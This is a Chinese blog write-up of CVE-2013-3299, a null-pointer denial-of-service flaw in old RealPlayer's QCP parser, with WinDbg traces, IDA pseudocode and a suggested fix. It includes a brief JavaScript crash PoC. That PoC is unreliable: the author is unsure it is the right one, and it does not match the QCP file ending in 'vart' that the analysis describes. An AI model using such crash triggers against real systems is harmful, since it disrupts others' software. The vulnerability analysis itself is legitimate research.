[CVE-2013-3299]RealPlayer拒绝服务漏洞

作者:k0shl 转载请注明出处:https://whereisk0shl.top


漏洞说明


RealPlayer是一款著名的播放器,QCP是一款手机播放的格式文件,在RealPlayer处理经过特殊构造的QCP文件时,在QCP文件中,可以构造特殊的长度,从而引发某处长度检查无效,从而引发后续的一个空指针引用引发拒绝服务漏洞,下面对此漏洞进行详细分析。

软件下载:
请读者自行查找RealPlayer 16.0之前的版本下载

PoC:
要说明的是这个漏洞是我很早之前调的,不太确定是不是这个PoC,请先使用这个PoC尝试,若有问题欢迎给我发邮件交流。

<html>
 <head>
  <script language="JavaScript"> 
  { var buffer = '\x41' 
    for(i=0; i <= 100 ; ++i) 
     {
           buffer+=buffer+buffer 
           document.write(buffer); 
           } 
    }
      </script>
     </head>
</html> 

漏洞复现


首先打开RealPlayer,附加Windbg,加载PoC,RealPlayer崩溃,Windbg捕获到崩溃位置。

(1430.1f64): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000002 ebx=00000000 ecx=03f18898 edx=00000000 esi=00000000 edi=03ebeffc
eip=697513dc esp=002ae53c ebp=002ae53c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\Real\RealPlayer\plugins\qcpfformat.dll - 
qcpfformat+0x13dc:
697513dc 0fb64203        movzx   eax,byte ptr [edx+3]       ds:0023:00000003=??

edx寄存器应该保存的是一处指针,edx+3位置会调用这个指针,由于此时edx值为0,所以可能是由于空指针引用引发的拒绝服务漏洞。看下kb堆栈回溯

0:000> kb
ChildEBP RetAddr  Args to Child              
WARNING: Stack unwind information not available. Following frames may be wrong.
0019e6d0 6ce51e92 00000000 00000000 0366b9c0 qcpfformat+0x13dc
0019e720 6ce53342 03a228dc 80004005 00000000 qcpfformat+0x1e92
0019e754 6ce52d37 07c4c888 74617276 6ce518a9 qcpfformat!RMACreateInstance+0xc62
0019e784 6ce530cb 03a228dc 00000000 74617276 qcpfformat!RMACreateInstance+0x657
0019e7a4 6cd820f0 028c1040 00000000 00000008 qcpfformat!RMACreateInstance+0x9eb
0019e7c4 6cd81da6 00000008 0019e7ec 00000005 smplfsys+0x20f0
0019e7f0 6cd83582 0019e810 00000000 00000000 smplfsys+0x1da6
0019e808 6ce5349f 00000000 00000008 00000000 smplfsys+0x3582
0019e830 6cd83cd9 0019e84c 0366b9c4 0366b9c4 qcpfformat!RMACreateInstance+0xdbf
0019e844 6ce53597 00000000 00000000 00000000 smplfsys+0x3cd9

这个RealPlayer函数调用相对复杂,这里我省去我回溯跟踪的过程,直接来看一下整个漏洞触发的原因。


漏洞分析


首先,问题有两个关键的dll,一个是qcpfformat.dll,另一个是smplfsys.dll,在最内层的函数调用中,我发现会两次命中断点,而第一次则会正常执行,来看一下正常执行的情况。

0:000> p
eax=7776a427 ebx=03529f9c ecx=00000000 edx=03529f9c esi=00000000 edi=084022dc
eip=6d8c1de5 esp=0022e998 ebp=0022e9dc iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
qcpfformat+0x1de5:
6d8c1de5 85db            test    ebx,ebx
0:000> p
eax=7776a427 ebx=03529f9c ecx=00000000 edx=03529f9c esi=00000000 edi=084022dc
eip=6d8c1de7 esp=0022e998 ebp=0022e9dc iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
qcpfformat+0x1de7:
6d8c1de7 7414            je      qcpfformat+0x1dfd (6d8c1dfd)            [br=0]
0:000> p
eax=7776a427 ebx=03529f9c ecx=00000000 edx=03529f9c esi=00000000 edi=084022dc
eip=6d8c1de9 esp=0022e998 ebp=0022e9dc iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
qcpfformat+0x1de9:
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\Real\RealPlayer\plugins\smplfsys.dll - 
6d8c1de9 8b03            mov     eax,dword ptr [ebx]  ds:0023:03529f9c=6d8afbc8

第一次执行的时候会到达一处if语句,这里第一次判断会通过,但是到了第二次。

0:000> p
eax=7776a48f ebx=00000000 ecx=80004005 edx=6d8c5394 esi=00000000 edi=084022dc
eip=6d8c1de1 esp=0022e930 ebp=0022e974 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
qcpfformat+0x1de1:
6d8c1de1 85c9            test    ecx,ecx
0:000> p
eax=7776a48f ebx=00000000 ecx=80004005 edx=6d8c5394 esi=00000000 edi=084022dc
eip=6d8c1de3 esp=0022e930 ebp=0022e974 iopl=0         nv up ei ng nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000286
qcpfformat+0x1de3:
6d8c1de3 7518            jne     qcpfformat+0x1dfd (6d8c1dfd)            [br=1]
0:000> p
eax=7776a48f ebx=00000000 ecx=80004005 edx=6d8c5394 esi=00000000 edi=084022dc
eip=6d8c1dfd esp=0022e930 ebp=0022e974 iopl=0         nv up ei ng nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000286
qcpfformat+0x1dfd:
6d8c1dfd 8b8784000000    mov     eax,dword ptr [edi+84h] ds:0023:08402360=00000009

可以看到判断不通过进入了另一处跳转,而第二次就是有问题的那次,对比一下两次跳转,主要判断的是ecx,第一次ecx寄存器值为0,第二次为80004005,这个值看了肯定比较熟悉。

0x800040005是一个报错值,很多地方都会调用到这个值,那么问题就是出在这里,重头看起。

外层会有很多层虚函数调用,首先来看一下

int __thiscall sub_60CB2D20(int this, int a2)
{
  int v2; // eax@1

  v2 = *(_DWORD *)(this + 28);
  *(_DWORD *)(this + 888) = 10;
  return (*(int (__stdcall **)(int, int))(*(_DWORD *)v2 + 24))(v2, a2);
}

这里虚函数会调用到smplfsys.dll中的一个函数,在那个函数中,会读到PoC中最结尾的部分,来看一下。

0:000> p
eax=08ce0710 ebx=0013e7a4 ecx=6ce4f5e0 edx=6d8b5394 esi=038cc49c edi=0382c8b4
eip=6ce434a4 esp=0013e708 ebp=0013e70c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
smplfsys+0x34a4:
6ce434a4 8b7d0c          mov     edi,dword ptr [ebp+0Ch] ss:0023:0013e718=74617276
0:000> p
eax=08ce0710 ebx=0013e7a4 ecx=6ce4f5e0 edx=6d8b5394 esi=038cc49c edi=74617276
eip=6ce434a7 esp=0013e708 ebp=0013e70c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
smplfsys+0x34a7:
6ce434a7 81ffffff0f00    cmp     edi,0FFFFFh

这个地方会读取74617276,也就是vart,PoC结尾的字符串,随后会将这个字符串和0FFFFFF进行比较,当比较不通过的时候,会进入错误处理,同时会赋值80004005。

.text:60CB34A7                 cmp     edi, 0FFFFFh
.text:60CB34AD                 jbe     short loc_60CB34E0
.text:60CB34AF                 mov     eax, [ebp+arg_0]
.text:60CB34B2                 push    0
.text:60CB34B4                 push    80004005h
.text:60CB34B9                 mov     dword ptr [eax+90h], 0
.text:60CB34C3                 mov     dword ptr [eax+94h], 0
.text:60CB34CD                 mov     eax, [eax+5Ch]
.text:60CB34D0                 push    eax
.text:60CB34D1                 mov     ecx, [eax]
.text:60CB34D3                 call    dword ptr [ecx+14h]
.text:60CB34D6                 mov     eax, 80070057h

push 80004005这个操作就是后续的错误处理操作,随后会调用一个虚函数。

0:000> p
eax=08d51a60 ebx=0013e7a4 ecx=6ce4f5e0 edx=6d8b5394 esi=038cc49c edi=74617276
eip=6ce434d0 esp=0013e700 ebp=0013e70c iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
smplfsys+0x34d0:
6ce434d0 50              push    eax
0:000> p
eax=08d51a60 ebx=0013e7a4 ecx=6ce4f5e0 edx=6d8b5394 esi=038cc49c edi=74617276
eip=6ce434d1 esp=0013e6fc ebp=0013e70c iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
smplfsys+0x34d1:
6ce434d1 8b08            mov     ecx,dword ptr [eax]  ds:0023:08d51a60=6d8b5944
0:000> p
eax=08d51a60 ebx=0013e7a4 ecx=6d8b5944 edx=6d8b5394 esi=038cc49c edi=74617276
eip=6ce434d3 esp=0013e6fc ebp=0013e70c iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
smplfsys+0x34d3:
6ce434d3 ff5114          call    dword ptr [ecx+14h]  ds:0023:6d8b5958=6d8b2d40
0:000> dd esp
0013e6fc  08d51a60 80004005 00000000 0382c8b4

虚函数会调用qcpfformat中的函数,进入这个函数继续跟踪,连续跟踪中会发现,在每次函数调用都会将刚才这个80004005作为第二个参数,也是错误参数直接传递。

0:000> g
Breakpoint 0 hit
eax=03a228dc ebx=0019e7ec ecx=6ce55394 edx=6ce55394 esi=0366b9c0 edi=00000000
eip=6ce5333f esp=0019e728 ebp=0019e754 iopl=0         nv up ei ng nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000293
qcpfformat!RMACreateInstance+0xc5f:
6ce5333f ff5114          call    dword ptr [ecx+14h]  ds:0023:6ce553a8=6ce51dc0
0:000> dd esp
0019e728  03a228dc 80004005 00000000 0019e7ec
0019e738  74617276 03a228dc 6cd834d6 0366b9c0
0019e748  80004005 00000000 07c64dbc 0019e784
0019e758  6ce52d37 07c4c888 74617276 6ce518a9
0019e768  74617276 07c64dbc 0366b9c0 0019e7ec
0019e778  00000000 00000000 00000000 028c1040
0019e788  6ce530cb 03a228dc 00000000 74617276

来看一下IDA pro的伪代码

0:000> g
Breakpoint 0 hit
eax=03a228dc ebx=0019e7ec ecx=6ce55394 edx=6ce55394 esi=0366b9c0 edi=00000000
eip=6ce5333f esp=0019e728 ebp=0019e754 iopl=0         nv up ei ng nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000293
qcpfformat!RMACreateInstance+0xc5f:
6ce5333f ff5114          call    dword ptr [ecx+14h]  ds:0023:6ce553a8=6ce51dc0
0:000> dd esp
0019e728  03a228dc 80004005 00000000 0019e7ec
0019e738  74617276 03a228dc 6cd834d6 0366b9c0
0019e748  80004005 00000000 07c64dbc 0019e784
0019e758  6ce52d37 07c4c888 74617276 6ce518a9
0019e768  74617276 07c64dbc 0366b9c0 0019e7ec
0019e778  00000000 00000000 00000000 028c1040
0019e788  6ce530cb 03a228dc 00000000 74617276

连续传递后会到达最接近漏洞崩溃函数的函数位置,里面有一处switch语句

  v3 = a2;
  v4 = 0;
  v77 = 0;
  if ( !a2 && a3 )
  {
    (*(void (__stdcall **)(int, int *, char *))(*(_DWORD *)a3 + 12))(a3, (int *)&v77, &v73);
    v4 = v77;
    v3 = 0;
  }
  switch ( *(_DWORD *)(a1 + 132) )
  {
    case 3:
      v5 = *(_DWORD *)(a1 + 32);
      *(_DWORD *)(a1 + 132) = 6;
      sub_60CB2A80(1718449184, 0);
      return 0;
    case 7:
      *(_DWORD *)(a1 + 44) = a3;
      if ( a3 )
        (*(void (__stdcall **)(int))(*(_DWORD *)a3 + 4))(a3);
      v7 = *(_DWORD *)(a1 + 32);
      *(_DWORD *)(a1 + 132) = 8;
      sub_60CB2A80(1987207540, 0);
      return 0;
    case 9:
      v8 = (int)v77;
      v9 = *(_DWORD *)(a1 + 32);
      v10 = sub_60CB13D0(v77);

注意一下case9的情况,会调用漏洞函数,传参是v77,向开头看可以看到v77会在开始赋值为0,随后会进行一处if语句判断,这个if语句中会先调用a2,而这个if语句就是在漏洞分析最开始的时候提到的那个if跳转。

所以当这个a2,也就是错误代码产生的时候,if判断不通过,那么v77就一直是0,就是这里没有else语句,所以造成了这个问题。

0:000> g
Breakpoint 2 hit
eax=00000002 ebx=00000000 ecx=039893e8 edx=6d8c5394 esi=00000000 edi=084022dc
eip=6d8c1e8c esp=0022e930 ebp=0022e974 iopl=0         nv up ei ng nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000293
qcpfformat+0x1e8c:
6d8c1e8c 53              push    ebx
0:000> p
eax=00000002 ebx=00000000 ecx=039893e8 edx=6d8c5394 esi=00000000 edi=084022dc
eip=6d8c1e8d esp=0022e92c ebp=0022e974 iopl=0         nv up ei ng nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000293
qcpfformat+0x1e8d:
6d8c1e8d e83ef5ffff      call    qcpfformat+0x13d0 (6d8c13d0)

ebx就是v77,这时候由于if不通过,所以还是0值,直接传入了13d0函数位置,进入之后。

0:000> t
Breakpoint 1 hit
eax=00000002 ebx=00000000 ecx=039893e8 edx=6d8c5394 esi=00000000 edi=084022dc
eip=6d8c13d0 esp=0022e928 ebp=0022e974 iopl=0         nv up ei ng nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000293
qcpfformat+0x13d0:
6d8c13d0 55              push    ebp
0:000> p
eax=00000002 ebx=00000000 ecx=039893e8 edx=6d8c5394 esi=00000000 edi=084022dc
eip=6d8c13d1 esp=0022e924 ebp=0022e974 iopl=0         nv up ei ng nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000293
qcpfformat+0x13d1:
6d8c13d1 8bec            mov     ebp,esp
0:000> p
eax=00000002 ebx=00000000 ecx=039893e8 edx=6d8c5394 esi=00000000 edi=084022dc
eip=6d8c13d3 esp=0022e924 ebp=0022e924 iopl=0         nv up ei ng nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000293
qcpfformat+0x13d3:
6d8c13d3 83794000        cmp     dword ptr [ecx+40h],0 ds:0023:03989428=00000001
0:000> p
eax=00000002 ebx=00000000 ecx=039893e8 edx=6d8c5394 esi=00000000 edi=084022dc
eip=6d8c13d7 esp=0022e924 ebp=0022e924 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
qcpfformat+0x13d7:
6d8c13d7 8b5508          mov     edx,dword ptr [ebp+8] ss:0023:0022e92c=00000000
0:000> p
eax=00000002 ebx=00000000 ecx=039893e8 edx=00000000 esi=00000000 edi=084022dc
eip=6d8c13da esp=0022e924 ebp=0022e924 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
qcpfformat+0x13da:
6d8c13da 7422            je      qcpfformat+0x13fe (6d8c13fe)            [br=0]
0:000> p
eax=00000002 ebx=00000000 ecx=039893e8 edx=00000000 esi=00000000 edi=084022dc
eip=6d8c13dc esp=0022e924 ebp=0022e924 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
qcpfformat+0x13dc:
6d8c13dc 0fb64203        movzx   eax,byte ptr [edx+3]       ds:0023:00000003=??

最后edx是由第一个参数,也就是刚才入栈的ebx得到,所以造成了空指针引用,引发拒绝服务漏洞,因此修复中,只需要在if不通过的时候,加一个else处理就可以避免这个空指针引用的漏洞发生。

Comments
Write a Comment